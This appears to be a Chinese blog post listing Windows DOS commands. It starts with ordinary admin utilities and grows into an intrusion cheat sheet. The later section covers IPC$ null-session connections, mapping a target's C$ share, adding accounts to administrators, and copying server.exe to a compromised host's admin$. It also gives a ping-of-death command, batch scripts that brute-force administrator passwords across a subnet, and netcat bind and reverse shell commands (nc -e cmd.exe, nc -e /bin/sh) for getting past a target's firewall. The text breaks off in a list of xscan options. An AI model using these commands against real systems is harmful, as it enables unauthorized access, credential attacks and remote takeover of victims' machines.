精华内容
下载资源
问答
  • Windows Dos命令大全

    2021-01-02 16:49:58
    作者:zqifa ... 本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接。...Windows DOS命令是基于配置好的Path环境变量,对DOS命令在Path路径中依次.

    作者:zqifa

    出处:http://www.cnblogs.com/zqifa/

    本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接。


     

    一、windows DOS命令概述

    Windows的dos命令又是Windows的CMD命令。而cmd命令又是原来MS-DOS系统保留下来。

    DOS来源路径与配置
    对应的命令资源配置在windows的环境变量中:

    Windows DOS命令是基于配置好的Path环境变量,对DOS命令在Path路径中依次从前至后搜寻到对应命名的可执行入口。

    也就是可以自行编写一些DOS程序,C、Java、Perl等等,然后配置到环境变量中,就可以有自己的私有DOS命令了。大多数默认的 DOS命令对应目标程序打多在“C:/Windows/”及“C:/Windows/System32”目录下。而基于Windows的一些应用程序 (如MySQL)都会向Windows的Path中配置添加自己的目录。

    DOS命令的执行方式
    一般的是通过调出CMD控制台执行
    对于较熟悉的可以自行编写bat批处理DOS命令,然后保存为 .bat 后缀格式文件。
    以Win7为例,可以通过Win键调出search 窗口,快捷执行,但不能全部使用
    同时可以通过Win+R调出运行窗口来执行


    二、常用DOS程序命令大全

    下面分类列举那些调出Shell命令列表,通过使用对应命令可以大大节约时间:

    Windows常用工具类

    运行程序 运行命令
    记事本 notepad
    计算器 calc
    画图 mspaint
    写字板 write
    Windows放大镜 magnify
    辅助工具管理器 utilman
    Telnet客户端 telnet
    任务管理器 taskmgr
    关闭Windows shutdown
    扫描仪与相机 sticpl.cpl
    远程桌面 mstsc
    可移动存储 ntmsmgr.msc
    注册表编辑器 regedit
    TrueType造字程序 eudcedit
    打印机文件夹 printers
    打印机和传真 control printers
    控制面板 control
    屏幕键盘 osk
    网络连接 ncpa.cpl 或control netconnections
    从Windows注销 logoff
    字体文件夹 fonts 或control fonts
    磁盘管理 diskmgmt.msc
    快速查找 findfast.cpl
    磁盘碎片整理程序 dfrg.msc
    磁盘检查工具 chkdsk
    磁盘清理工具 cleanmgr
    命令行提示符 cmd
    剪贴簿查看器 clipbrd
    辅助功能选项 access.cpl
    添加硬件向导 hdwwiz.cpl
    添加或删除程序 appwiz.cpl


    常用管理配置工具
    设备管理器 devmgmt.msc
    Direct X控制面板(如果已经安装) directx.cpl
    Direct X诊断工具 dxdiag
    磁盘分区管理器 diskpart
    显示属性 desk.cpl 或 control desktop
    文件夹选项 control folders
    显示属性的外观选项卡 control color
    文件签名验证 sigverif
    IP配置实用程序 ipconfig
    键盘属性 control keyboard
    鼠标属性 main.cpl 或 control mouse
    Internet属性 inetcpl.cpl
    密码属性 assword.cpl
    电话与调制解调器选项 telephon.cpl
    电源选项属性 powercfg.cpl
    性能 perfmon
    区域和语言选项 intl.cpl
    系统属性 sysdm.cpl
    用户帐户管理 nusrmgr.cpl
    Windows防火墙 firewall.cpl
    运行Windows更新 wupdmgr
    系统配置实用程序 msconfig
    声音和音频设备属性 mmsys.cpl
    共享文件夹 fsmgmt.msc
    服务 services.msc
    Windows安全中心 wscui.cpl
    任务计划 control schedtasks
    游戏控制 joy.cpl
    字符映射表 charmap
    证书管理控制台 certmgr.msc


    一些高级配置管理
    Windows管理体系结构 wmimgmt.msc
    Windows系统安全工具 syskey
    系统配置编辑器 sysedit
    策略的结果集 rsop.msc
    可移动存储 ntmsmgr.msc
    可移动存储操作请求 ntmsoprq.msc
    ODBC数据源管理器 odbccp32.cpl
    本地安全设置 secpol.msc
    本地用户和组 lusrmgr.msc
    索引服务 ciadv.msc
    组策略编辑器 gpedit.msc
    事件查看器 eventvwr.msc
    Driver Verifier Manager verifier
    Dr. Watson系统诊断工具 drwtsn32

    三、一些DOS程序命令详解
    下面围绕第二章节以及更多高级DOS操作命令进行详细描述:(陆续根据使用补充)

    网络配置Ipconfig命令
    默认Ipconfig为显示当前网络基本连接信息

    显示连接配置 ipconfig /all
    显示DNS缓存内容 ipconfig /displaydns
    去除DNS缓存内容 ipconfig /flushdns
    释放全部(或指定)适配器的由DHCP分配的动态IP地址) ipconfig /release
    为全部适配器重新分配IP地址 ipconfig /renew
    刷新DHCP并重新注册DNS ipconfig /registerdns
    显示DHCP Class ID ipconfig /showclassid
    修改DHCP Class ID ipconfig /setclassid
    关机操作shutdown命令
    Shutdown使您能够一次关闭或重新启动一台本地或远程计算机:

    语法::
    shutdown [/i | /l | /s | /r | /a | /p | /h | /e] [/f] [/m //computername/] [/t XXX] [/d [p:]XX:YY/c"Comment"]

    参数:

    /i : 显示“远程关机对话框”。/i 选项必须是键入的第一个参数,之后的所有参数都将被忽略。
    /l : 立即注销当前用户,没有超时期限。不能将 /l 与 /m //computername/ 或 /t 一起使用。
    /s : 关闭计算机。
    /r : 关机后重新启动计算机。
    /a : 取消关机操作(仅在超时期限内有效)。a 参数仅可以与 /m //computername/ 一起使用。
    /p : 仅关闭本地计算机(而不是远程计算机),没有超时期或警告。/p 只能和 /d 一起使用。如果您的计算机不支持关闭电源功能,使用 /p 将关闭系统但不会切断您的计算机电源。
    /h : 使本地计算机处于休眠状态(如果已启用休眠)。仅可将 h 与 /f 一起使用。
    /e : 允许在目标计算机上记录意外关机原因。
    /f : 强制关闭正在运行的应用程序而不提前警告用户。
    /t:设置经过过长时间进行当次操作,定时功能,时间单位为秒
    举例:

    立即关机:shutdown -s -t 0
    30秒后重启:shutdown -r -t 30
    取消关机:shutdown -a
    网络连接查看命令netstat
    netstat -a 查看开启了哪些端口,常用netstat -an
    netstat -n 查看端口的网络连接情况,常用netstat -an
    netstat -v 查看正在进行的工作
    netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
    netstat -s 查看正在使用的所有协议使用情况
    系统网络服务命令net
    netstat -a 查看开启了哪些端口,常用netstat -an
    net use //ip/ipc$ " " /user:" " 建立IPC空链接
    net use //ip/ipc$ "密码" /user:"用户名" 建立IPC非空链接
    net use h: //ip/c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:
    net use h: //ip/c$ 登陆后映射对方C:到本地为H:
    net use //ip/ipc$ /del 删除IPC链接
    net use h: /del 删除映射对方到本地的为H:的映射
    net user 用户名 密码 /add 建立用户
    net user guest /active:yes 激活guest用户
    net user 查看有哪些用户
    net user 帐户名 查看帐户的属性
    net localgroup administrators 用户名 /add 把"用户"添加到管理员中使其具有管理员权限,注意:administrator后加s用复数
    net start 查看开启了哪些服务
    net start 服务名 开启服务;(如:net start telnet, net start schedule)
    net stop 服务名 停止某服务
    net time //目标ip 查看对方时间
    net time //目标ip /set 设置本地计算机时间与"目标IP"主机的时间同步,加上参数/yes可取消确认信息
    net view 查看本地局域网内开启了哪些共享
    net view //ip 查看对方局域网内开启了哪些共享
    net config 显示系统网络设置
    net logoff 断开连接的共享
    net pause 服务名 暂停某服务
    net send ip "文本信息" 向对方发信息
    net ver 局域网内正在使用的网络连接类型和信息
    net share 查看本地开启的共享
    net share ipc$ 开启ipc$共享
    net share ipc$ /del 删除ipc$共享
    net share c$ /del 删除C:共享
    net user guest 12345 用guest用户登陆后用将密码改为12345
    net password 密码 更改系统登陆密码
    系统服务命令sc
    SC来控制系统创建服务和管理服务。

    SC使用这样的语法:

    sc <server> [command] [service name] <option1> <option2>…

    下面介绍各种参数。

    server :可选,可以使用双斜线,如myserver ,也可以是192.168.0.1 来操作远程计算机。如 果在本地计算机上操作就不用添加任何参数。
    command:下面列出SC可以使用的命令
    config—-改变一个服务的配置。(长久的)
    continue–对一个服务送出一个继续控制的要求。
    control—-对一个服务送出一个控制。
    create—-创建一个服务。(增加到注册表中)
    delete—-删除一个服务。(从注册表中删除)
    EnumDepend–列举服务的从属关系。
    GetDisplayName–获得一个服务的显示名称。
    GetKeyName–获得一个服务的服务键名。
    interrogate–对一个服务送出一个询问控制要求。
    pause—-对一个服务送出一个暂停控制要求。
    qc—-询问一个服务的配置。
    query—-询问一个服务的状态,也可以列举服务的状态类型。
    start—-启动一个服务。
    stop—-对一个服务送出一个停止的要求。
    service name:在注册表中为service key制定的名称。注意这个名称是不同于显示名称的(这个名称可以用net start和服务控制面板看到),而SC是使用服务键名来鉴别服务的。
    特别说明 :SC create 子 命令
    这个命令可以在注册表和服务控制管理数据库建立一个入口。使用语法如下:

    sc <server> create [service name] [binPath= ] <option1> <option2>…

    这里的servername,servicename,optionname,optionvalues和上面的一样,这里就option描述,通 常为键值对应:option name = option values 。

    注:键值对应 name= value,等号后面应由一个空格,不能省略

    option 详细描述如下:

    type=—-own, share, interact, kernel, filesys
    关于建立服务的类型, 选项值包括驱动程序使用的类型,默认是share。
    start=—-boot, sys tem, auto, demand, disabled
    关于启动服务的类 型,选项值包括驱动程序使用的类型,默认是demand(手动)。
    error=—-normal, severe, critical, ignore
    当服务在导入失败错误的严重 性,默认是normal。
    binPath=–(string)
    服务二进制文件的路径名,这里没有默认值,这个字符串是必须设置的。
    group=—-(string)
    这个服务属于的组,这个组的列表保存在注册表中的 ServiceGroupOrder下。默认是nothing。
    tag=—-(string)
    如果这个字符串被设置为yes,sc可以从CreateService call中得到一个tagId。然而,SC并不显示这个标签,所以使用这个没有多少意义。默认是nothing
    depend=—-(space separated string)有空格的字符串。
    在这个服务启动前必须启动的 服务的名称或者是组。
    obj=—-(string)
    账号运行使用的名称,也可以说是登陆身份。默认是localsys tem
    Displayname=–(string)
    一个为在用户界面程序中鉴别各个服务使用的字符串。
    password=–(string)
    一个密码,如果一个不同于localsys tem的账号使用时需要使用这个。
    Optionvalues
    Optionname参数名称的数值列表。参考optionname。当我们输入一个字符 串时,如果输入一个空的引用这意味着一个空的字符串将被导入。
    举例说明:在一台叫做(myserver )的计算机上为一个叫“NewService”的服务建立的一个注册表登记,命令如下:

    sc myserver create MyService binpath= C:/NewServ.exe

    windows dos常用命令大全详解

    copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:
    xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
    tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将"IP"的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
    tftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机
    ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);
    默认为ASCII格式传送(文本文件时)
    route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
    arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
    start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
    mem 查看cpu使用情况
    attrib 文件名(目录名) 查看某文件(目录)的属性
    attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性
    dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
    date /t 、 time /t 使用此参数即"DATE/T"、"TIME/T"将只显示当前日期和时间,而不必输入新日期和时间
    set 指定环境变量名称=要指派给变量的字符 设置环境变量
    set 显示当前所有的环境变量
    set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
    pause 暂停批处理程序,并显示出:请按任意键继续....
    if 在批处理程序中执行条件处理(更多说明见if命令及变量)
    goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:":start"标签)
    call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)
    for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
    echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置
    echo 信息 在屏幕上显示出信息
    echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
    findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
    find 文件名 查找某文件
    title 标题名字 更改CMD窗口标题名字
    color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
    prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )
    net use \\ip\ipc$ " " /user:" " 建立IPC空链接
    net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接
    net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:
    net use h: \\ip\c$ 登陆后映射对方C:到本地为H:
    net use \\ip\ipc$ /del 删除IPC链接
    net use h: /del 删除映射对方到本地的为H:的映射
    net user 用户名 密码 /add 建立用户
    net user guest /active:yes 激活guest用户
    net user 查看有哪些用户
    net user 帐户名 查看帐户的属性
    net localgroup administrators 用户名 /add 把"用户"添加到管理员中使其具有管理员权限,注意:administrator后加s用复数
    net start 查看开启了哪些服务
    net start 服务名  开启服务;(如:net start telnet, net start schedule)
    net stop 服务名 停止某服务
    net time \\目标ip 查看对方时间
    net time \\目标ip /set 设置本地计算机时间与"目标IP"主机的时间同步,加上参数/yes可取消确认信息
    net view 查看本地局域网内开启了哪些共享
    net view \\ip 查看对方局域网内开启了哪些共享
    net config 显示系统网络设置
    net logoff 断开连接的共享
    net pause 服务名 暂停某服务
    net send ip "文本信息" 向对方发信息
    net ver 局域网内正在使用的网络连接类型和信息
    net share 查看本地开启的共享
    net share ipc$ 开启ipc$共享
    net share ipc$ /del 删除ipc$共享
    net share c$ /del 删除C:共享
    net user guest 12345 用guest用户登陆后用将密码改为12345
    net password 密码 更改系统登陆密码
    netstat -a 查看开启了哪些端口,常用netstat -an
    netstat -n 查看端口的网络连接情况,常用netstat -an
    netstat -v 查看正在进行的工作
    netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
    netstat -s 查看正在使用的所有协议使用情况
    nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
    tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:"-w数字"用于设置超时间隔。
    ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
    ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数"/all"显示全部配置信息
    tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
    kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
    del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如"DEL/AR *.*"表示删除当前目录下所有只读文件,"DEL/A-S *.*"表示删除当前目录下除系统文件以外的所有文件
    #2 二:
    del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
    move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
    fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令
    at id号 开启已注册的某个计划任务
    at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
    at id号 /delete 停止某个已注册的计划任务
    at 查看所有的计划任务
    at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
    finger username @host 查看最近有哪些用户登陆
    telnet ip 端口 远和登陆服务器,默认端口为23
    open ip 连接到IP(属telnet登陆后的命令)
    telnet 在本机上直接键入telnet 将进入本机的telnet
    copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
    copy c:\srv.exe \\ip\admin$ 复制本地c:\srv.exe到对方的admin下
    cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
    ver 在DOS窗口下显示版本信息
    winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
    format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
    md 目录名 创建目录
    replace 源文件 要替换文件的目录 替换文件
    ren 原文件名 新文件名 重命名文件名
    tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称
    type 文件名 显示文本文件的内容
    more 文件名 逐屏显示输出文件
    doskey 要锁定的命令=字符
    doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
    taskmgr 调出任务管理器
    chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
    tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
    exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
    path 路径\可执行文件的文件名 为可执行文件设置一个路径。
    cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?
    regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;
    regedit /e 注册表文件名 导出注册表
    cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。
    cacls 文件名 查看文件的访问用户权限列表
    REM 文本内容 在批处理文件中添加注解
    netsh 查看或更改本地网络配置情况
    #4 四:
    IIS服务命令:
    iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)
    iisreset /start或stop 启动(停止)所有Internet服务
    iisreset /restart 停止然后重新启动所有Internet服务
    iisreset /status 显示所有Internet服务状态
    iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动
    iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机
    iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务
    iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。
    FTP 命令: (后面有详细说明内容)
    ftp的命令行格式为:
    ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。
    -d 使用调试方式。
    -n 限制ftp的自动登录,即不使用.netrc文件。
    -g 取消全局文件名。
    help [命令] 或 ?[命令] 查看命令说明
    bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
    pwd 列出当前远端主机目录
    put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
    get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
    mget [remote-files] 从远端主机接收一批文件至本地主机
    mput local-files 将本地主机中一批文件传送至远端主机
    dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
    ascii 设定以ASCII方式传送文件(缺省值)
    bin 或 image 设定以二进制方式传送值)
    bin 或 image 设定以二进制方式传送文件
    bell 每完成一次文件传送,报警提示
    cdup 返回上一级目录
    close 中断与远程服务器的ftp会话(与open对应)
    open host[port] 建立指定ftp服务器连接,可指定连接端口
    delete 删除远端主机中的文件
    mdelete [remote-files] 删除一批文件
    mkdir directory-name 在远端主机中建立目录
    rename [from] [to] 改变远端主机中的文件名
    rmdir directory-name 删除远端主机中的目录
    status 显示当前FTP的状态
    system 显示远端主机系统类型
    user user-name [password] [account] 重新以别的用户名登录远端主机
    open host [port] 重新建立一个新的连接
    prompt 交互提示模式
    macdef 定义宏命令
    lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
    chmod 改变远端主机的文件权限
    case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
    cd remote-dir 进入远程主机目录
    cdup 进入远程主机目录的父目录
    ! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip
    MYSQL 命令:
    mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。
    (例:mysql -h110.110.110.110 -Uroot -P123456
    注:u与root可以不用加空格,其它也一样)
    exit 退出MYSQL
    mysqladmin -u用户名 -p旧密码 password 新密码 修改密码
    grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)
    show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。
    use mysql;
    show tables; 显示库中的数据表
    describe 表名; 显示数据表的结构
    create database 库名; 建库
    use 库名;
    create table 表名 (字段设定列表); 建表
    drop database 库名;
    drop table 表名; 删库和删表
    delete from 表名; 将表中记录清空
    select * from 表名; 显示表中的记录
    mysqldump --opt school>school.bbb 备份数据库:(命令在DOS的\\mysql\\bin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。
    win2003系统下新增命令(实用部份):
    shutdown /参数 关闭或重启本地或远程主机。
    参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。
    例:shutdown /r /t 0 立即重启本地主机(无延时)
    taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
    参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。
    tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
    参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。
    #6 六:
    Linux系统下基本命令: 要区分大小写
    uname 显示版本信息(同win2K的 ver)
    dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)
    pwd 查询当前所在的目录位置
    cd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。
    cat 文件名 查看文件内容
    cat >abc.txt 往abc.txt文件中写上内容。
    more 文件名 以一页一页的方式显示一个文本文件。
    cp 复制文件
    mv 移动文件
    rm 文件名 删除文件,rm -a 目录名删除目录及子目录
    mkdir 目录名 建立目录
    rmdir 删除子目录,目录内没有文档。
    chmod 设定档案或目录的存取权限
    grep 在档案中查找字符串
    diff 档案文件比较
    find 档案搜寻
    date 现在的日期、时间
    who 查询目前和你使用同一台机器的人以及Login时间地点
    w 查询目前上机者的详细资料
    whoami 查看自己的帐号名称
    groups 查看某人的Group
    passwd 更改密码
    history 查看自己下过的命令
    ps 显示进程状态
    kill 停止某进程
    gcc 黑客通常用它来编译C语言写的文件
    su 权限转换为指定使用者
    telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。
    ftp ftp连接上某服务器(同win2K)
    附:批处理命令与变量
    1:for命令及变量 基本格式:
    FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。
    批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use \\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3
    (set):指定一个或一组文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{ "(1 1 254)"第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;"(1 -1 254)"说明:即从254到1 }
    command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开
    command_parameters:为特定命令指定参数或命令行开关
    IN (set):指在(set)中取值;DO command :指执行command
    参数:/L 指用增量形式{ (set)为增量形式时 };/F 指从文件中不断取值,直到取完为止{ (set)为文件时,如(d:\pass.txt)时 }。
    用法举例:
    @echo off
    echo 用法格式:test.bat *.*.* > test.txt
    for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt
    存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。
    /L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。
    @echo off
    echo 用法格式:ok.bat ip
    FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
    存为:ok.exe 说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。
    2:if命令及变量 基本格式:
    IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为"真"。
    例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。
    0 指发现并成功执行(真);1 指没有发现、没执行(假)。
    IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。
    例:"if "%2%"=="4" goto start"指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ")
    IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。
    例:"if not nc.exe goto end"指:如果没有发现nc.exe文件就跳到":end"标签处。

    IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。
    当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:"if exist test.txt. else echo test.txt.missing ",注意命令中的"."

    (二)系统外部命令(均需下载相关工具):
    1、瑞士军刀:nc.exe
    参数说明:
    -h 查看帮助信息
    -d 后台模式
    -e prog程序重定向,一但连接就执行[危险]
    -i secs延时的间隔
    -l 监听模式,用于入站连接
    -L 监听模式,连接天闭后仍然继续监听,直到CTR+C
    -n IP地址,不能用域名
    -o film记录16进制的传输
    -p[空格]端口 本地端口号
    -r 随机本地及远程端口
    -t 使用Telnet交互方式
    -u UDP模式
    -v 详细输出,用-vv将更详细
    -w数字 timeout延时间隔
    -z 将输入,输出关掉(用于扫锚时)
    基本用法:
    nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口
    nc -l -p 80 开启本机的TCP 80端口并监听
    nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口
    nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口
    nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口
    高级用法:
    nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止
    nc -L -p 80 > c:\log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:\log.txt
    nc -L -p 80 < c:\honeyport.txt 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
    type.exe c:\honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
    本机上用:nc -l -p 本机端口
    在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K
    nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙
    本机上用:nc -d -l -p 本机端口 < 要传送的文件路径及名称
    在对方主机上用:nc -vv 本机IP 本机端口 > 存放文件的路径及名称 传送文件到对方主机
    备 注:
    | 管道命令
    < 或 > 重定向命令。"<",例如:tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命令
    @ 表示执行@后面的命令,但不会显示出来(后台执行);例:@dir c:\winnt >> d:\log.txt 意思是:后台执行dir,并把结果存在d:\log.txt中
    >与>>的区别  ">"指:覆盖;">>"指:保存到(添加到)。
    如:@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二个命令分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。
    #8 八:
    2、扫锚工具:xscan.exe
    基本格式
    xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息
    xscan -file <主机列表文件名> <检测项目> [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息
    检测项目
    -active 检测主机是否存活
